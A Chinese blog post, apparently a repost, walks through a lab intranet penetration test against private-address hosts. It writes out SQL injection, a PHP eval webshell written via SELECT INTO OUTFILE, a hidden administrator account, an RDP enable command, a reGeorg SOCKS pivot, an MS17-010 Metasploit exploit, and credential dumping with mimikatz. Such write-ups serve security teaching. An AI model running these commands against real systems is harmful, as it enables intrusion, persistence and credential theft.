一次内网渗透测试实验过程

迈不过友情╰ 2024-04-07 10:34 102阅读 0赞

### 0x01 渗透测试过程 ###

通过渗透网站拿到webshell，然后通过webshell拿到网站主机系统权限，发现受害主机有两张网卡，另一张网卡下有两台存活的内网主机，然后我们就尝试渗透存活的内网主机看能不能拿到系统权限，最后发现两台内网主机都开启了445端口，然后搜索了一下445端口漏洞发现有个最新的m17\_010可能可以利用，结果真的通过ms17\_010成功获得了内网主机的权限。

目标网站ip：192.168.31.196

浏览网站通过手工测试发现[http://url/hr/hr.php?hrid=15处有注入点][http_url_hr_hr.php_hrid_15]

![8d7f7ffaeab661172f9ec865507fac2e.jpeg][]

尝试利用sqlmap工具跑一下这个注入点，看能不能注出有用的信息

![de805df33c512dfa4af9d639f43d6ad0.jpeg][]

通过测试发现这个注入点果然可以进行注入

![ae2808496f06bbd028e69223942da97c.jpeg][]

然后利用该注入点进行尝试注出网站后台登录账号密码

![637db558f610fd86817b1132478dcd0e.jpeg][]

发现跑出来的网站后台密码是用md5加密的，所以利用md5解密一下，发现只有两个权限较低的密码可以解密，而权限较高的admin账号解不开。不过问题不大，先用登录后台(后台登录界面可以用御剑跑出来)看一下

![6394e2fa1b2c60e39e276a1dad019a1f.jpeg][]

利用御剑跑出的后台目录里有个phpinfo页面，说不定可以得到一些有用的信息

![2960f8dc62737c57f8473f3f56499341.jpeg][]

发现可以得到网站文件的绝对路径

![35f06eb9cad7aba7279c51a67c57db6d.png][]

发现网站后台数据维护处可以执行sql语句，通过phpinfo页面知道了网站绝对路径，可以尝试在此处写入php一句话木马

select "<?php eval($_POST[123456]);?>" into outfile "/UPUPW_AP5.2/vhosts/jy.test.com/321.php"

发现可以执行成功

![362f5dac4b47d98d529510946a33028f.jpeg][]

尝试用蚁剑(菜刀也可以)连接，发现成功连接

![a6b4e8ef9e0bc6155ce281c871f40f6a.png][]

利用蚁剑虚拟终端创建一个用户并将其加入到管理员组

net user ddd 123456 /add
    net localgroup Administrators ddd /add

然后开启3389端口就可以通过3389端口远程控制目标机了

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

用netstat -an命令查看发现成功开启3389端口

![cc9725909cbaa4d4b89d7f8cd04be4db.jpeg][]

用arp -a命令发现目标机有两块网卡，有一块网卡是内网ip，我们开始尝试渗透内网

![84b55aa0b20b5741be4bf067b76d64b8.jpeg][]

### 0x02 内网渗透测试 ###

目标机ip：192.168.238.129、192.168.238.130

kali攻击机ip：192.168.31.119

#### 1. 测试思路 ####

因为我们已经成功getshell了ip为192.168.31.196的主机，而238段的内网ip是它的另一块网卡下的主机，所以可以利用已经getshell的这台主机作为代理去渗透238段的主机

#### 2. 渗透过程 ####

利用蚁剑在该网站根目录上传一个reGeorgSocksProxy的php脚本文件

![299f41fd00270f8eab1fee15be4bdfdf.png][]

设置kali的proxychains代理地址和端口，命令：vi /etc/proxychains.conf将dynamic\_chain前的\#去掉

![90810273c84eedff63bae58d6423ca5f.jpeg][]

设置代理地址和端口后:wq退出

![622dc4889fa35b879b7168dbfa17454c.jpeg][]

配置好后通过reGeory来打通本地和目标的通道，出现如下画面则连接成功

python reGeorgSocksProxy.py -p 9050 -l 0.0.0.0 -u http://192.168.31.196/tunnel.php

本地所有工具都可通过目标服务器进一步攻击所有工具使用命令前加 proxychains，这样kali的所有工具就如同全部在内网那台getshell的服务器上

![127e99bfc624585a88f34b444c227546.jpeg][]

用nmap扫描内网的两个ip开放的端口发现都有445端口，192.168.238.129为03系统 ，192.168.238.130为xp系统，这里以192.168.238.130这台主机为例

![fbdbce7904fef1fe4c3640b593e921d6.jpeg][]

用msfconsole搜索发现445端口有一个ms17\_010的漏洞，可以尝试反弹shell

![d1679a917460c2895f3465f4b0050ed3.jpeg][]

设置好利用ms17\_010所需要的参数

use exploit/windows/smb/ms17_010_psexec  #切换到ms17漏洞模块
    set RHOST 192.168.238.130   #设置目标机ip
    run   #开始连接

![42452584fc7ba20f0993964dfaf78e14.jpeg][]

成功反弹到shell，然后就可以查看目标机的一些信息了

![0e05faa5ff3a0fd57230646f32c2ebb3.jpeg][]

添加一个新用户名账号，发现成功添加

run getgui -u ding(用户名) -p 123456(密码)

利用mimikatz工具查看系统管理员账号密码

load mimikatz     #启动mimikatz

msv     #查看管理员密码hash

也可以利用mimikatz获取到密码明文

kerberos     #获取管理员密码明文

获取到明文管理员账号密码后就可以开启远程桌面用管理员账号密码进行登录系统了

![ea5e97c55b8228ec999ab0aa76f4a81f.jpeg][]

成功远程登录到目标桌面

![6d51de51252ddb0e888e8b2447a3ee5a.jpeg][]

### 0x03 总结 ###

1.通过手工测试发现http://192.168.31.196/hr/hr.php?hrid=15链接加单引号，SQL报错，证明存在注入漏洞

2.通过sqlmap测试发现该链接存在注入，最终跑出用户名和密码hash值，将得到的密码hash值进行MD5解密，且成果解密

3.通过御剑目录扫描工具，发现存在admin和phpinfo.php 路径

4.访问admin目录，该目录是网站后台管理页面，输入用户名和密码即可进入后台

5.通过访问phpnifo.php可发现网站的绝对路径为c:\\upupw\_ap5.2

6.发现网站后台数据维护处可以执行sql语句，通过phpinfo页面知道了网站绝对路径，可以尝试在此处写入php一句话木马

select "<?php eval($\_POST\[123456\]);?>" into outfile "c:\\upupw\_ap5.2\\vhosts\\jy.test.com\\321.php"

7.通过蚁剑连接一句话，并通过命令虚拟终端添加用户和到管理员组

net user ddd 123456 /add

net localgroup Administrators ddd /add

8.通过注册表开启3389端口

9.通过命令查看3389端口是开放的

netstat -ano |find "3389"

10.使用ipconfig/all命令，发现存在目标系统网络存在双网卡，一个网卡是192.168.31.196，另外一张网卡是192.168.238.130

10.使用命令探测存活主机,发现存在目标主机还存在192.168.238.129和192.168.238.130两个存活主机

arp -a

13.将reGeorgSocksProxy的php脚本文件通过蚁剑上传到目标系统中(192.168.31.196),并访问链接

http://192.168.31.196/tunnel.php

14.设置kali的proxychains代理地址和端口，命令：vi /etc/proxychains.conf将dynamic\_chain前的\#去掉

socks4 127.0.0.1 9050

15.配置好后通过reGeory来打通本地和目标的通道,在攻击机KALI下执行

python reGeorgSocksProxy.py -p 9050 -l 0.0.0.0 -u http://192.168.31.196/tunnel.php

16.通过proxychains加密msf进行攻击

proxychains msfconsole

14.使用scanner模块扫描一下哪些机器可能存在ms17-010的漏洞,发现192.168.238.130存在ms17-010漏洞

msf>use auxiliary/scanner/smb/smb\_ms17\_010

msf>set rhosts 192.168.238.0/24

msf>set thread 20

msf>run

15.使用ms17-010模块进行攻击

msf>use exploit/windows/smb/ms17\_010\_psexec

msf>set RHOST 192.168.238.130

msf>run

16.使用MSF进行信息收集

meterprter>getsystem //进行提权

meterprter>getuid //发现是system权限

meterprter>ifconfig

meterprter>run getgui -u ding(用户名) -p 123456(密码) //添加一个新用户名账号

meterprter>load mimikatz //启动mimikatz

meterprter>msv //查看管理员密码hash

meterprter>kerberos //获取管理员密码明文

16.获取到明文管理员账号密码后就可以开启远程桌面用管理员账号密码进行登录系统了

原文地址： https://blog.csdn.net/weixin\_44991517/article/details/90718228

[http_url_hr_hr.php_hrid_15]: http://url/hr/hr.php?hrid=15%E5%A4%84%E6%9C%89%E6%B3%A8%E5%85%A5%E7%82%B9
[8d7f7ffaeab661172f9ec865507fac2e.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/6532acec34a74bb7a564171670547a9d.jpeg
[de805df33c512dfa4af9d639f43d6ad0.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/230d026a69be4c08bed05cba9acbca3d.jpeg
[ae2808496f06bbd028e69223942da97c.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/0d54c1feace748fe9851831c2f8ed70d.jpeg
[637db558f610fd86817b1132478dcd0e.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/25102ec183a2405495d540144d67d668.jpeg
[6394e2fa1b2c60e39e276a1dad019a1f.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/71b475c19e154b3a9e780b446f2f5e66.jpeg
[2960f8dc62737c57f8473f3f56499341.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/eb93c7d7322b44d0b7f37f4dbaea48be.jpeg
[35f06eb9cad7aba7279c51a67c57db6d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/fcaff5e3c8804b7a903e922661bb5146.png
[362f5dac4b47d98d529510946a33028f.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/6fecdc189d7645848bdf2361df12ec8e.jpeg
[a6b4e8ef9e0bc6155ce281c871f40f6a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/6e15c0ae663443e9a3d853e223585840.png
[cc9725909cbaa4d4b89d7f8cd04be4db.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/70216c7c00ca40588fb5548ec6b5951c.jpeg
[84b55aa0b20b5741be4bf067b76d64b8.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d504f759e3344819990da8a98ed8a572.jpeg
[299f41fd00270f8eab1fee15be4bdfdf.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ba62e04f09d6483e848f76ed7992db67.png
[90810273c84eedff63bae58d6423ca5f.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d23ebedc96054656901b60b89a350e6a.jpeg
[622dc4889fa35b879b7168dbfa17454c.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/332abfce341a4ca598a3f244b5e3317b.jpeg
[127e99bfc624585a88f34b444c227546.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7b9b4e0544c844de8c76ede1c2d47e84.jpeg
[fbdbce7904fef1fe4c3640b593e921d6.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5d0eec0c34b2407aad34a7aeaad0bca7.jpeg
[d1679a917460c2895f3465f4b0050ed3.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/22936f7689cd44f0ac89128341164a77.jpeg
[42452584fc7ba20f0993964dfaf78e14.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f2a2464faaaf4ccba5ed6b7253e5acce.jpeg
[0e05faa5ff3a0fd57230646f32c2ebb3.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/bb1d20f55e094259914a5013e63f9d87.jpeg
[ea5e97c55b8228ec999ab0aa76f4a81f.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d39cff71c2fd49c0b5c02ec38fd54261.jpeg
[6d51de51252ddb0e888e8b2447a3ee5a.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ee5f835526214801800aa5671fd7837f.jpeg